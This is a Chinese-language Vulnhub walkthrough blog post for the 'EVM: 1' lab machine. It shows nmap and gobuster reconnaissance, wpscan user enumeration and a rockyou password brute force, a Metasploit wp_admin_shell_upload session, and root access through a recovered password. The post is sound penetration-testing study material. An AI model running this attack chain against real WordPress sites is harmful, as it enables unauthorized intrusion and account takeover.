banner
soapffz

soapffz

github
steam
bilibili
douban

EVM: 1-Vulnhub Walkthrough

靶机地址

工具及漏洞信息#

  • netdiscover
  • nmap
  • gobuster
  • wpscan

0x01 信息收集#

扫描靶机#

netdiscover-r参数扫描192.168.1.0/16结果如下:

image

nmap扫描主机及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.7

image

扫描漏洞#

这里使用了nmapvulscan脚本:

cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7

image

看起来很多,测试了最新几个 CVE,均无法利用

扫描路径#

gobuster扫描路径:

gobuster dir -u http://192.168.1.7 -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

这里使用的字典是kali自带的,如果没有可以通过apt-get install wordlists -y安装

image

打开主页:

image

提示我们wordpress目录易受攻击,于是我们打开看看

0x02 普通用户 getshell#

这里我也遇到了大佬们说的虽然靶机信息说的支持DHCP

但是访问靶机ip/wordpress会跳转到192.168.56.103

其实我们不访问wordpress界面也能进行下去,我这里就不折腾了

先给wpscan申请一个wpvulnhubAPI,然后扫描:

wpscan --url http://192.168.1.7/wordpress/ -e at -e ap -e u --api-token xxxxxxxxxxxx
  • -e at: 扫描所有主题
  • -e ap: 扫描所有插件
  • -e u: 扫描用户

扫描到 4 个可能的漏洞:

image

扫描出一个用户c0rrupt3d_brain:

image

扫描出用户就可以接着爆破密码,kali自带字典/usr/share/wordlists/rockyou.txt

如果没有可以从这里下载

wpscan --url http://192.168.1.7/wordpress/ -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt -t 50

爆破实在太慢了,得到密码为:24992499,账户密码都得到了,上msf:

use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.7
set targeturi /wordpress
set username c0rrupt3d_brain
set password 24992499
run

image

获得的meterpreter会话:

image

0x03 提权 root#

可以直接在meterpreter查看目录文件:

image

成功获取到root的密码willy26,切换账号登录

进入shell,发现是老朋友 “无输出” 环境,使用python获取tty:

shell
python -c 'import pty;pty.spawn("/bin/bash")'

image

然后切换至root账户并成功获取flag:

image

参考文章:

本文完。

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.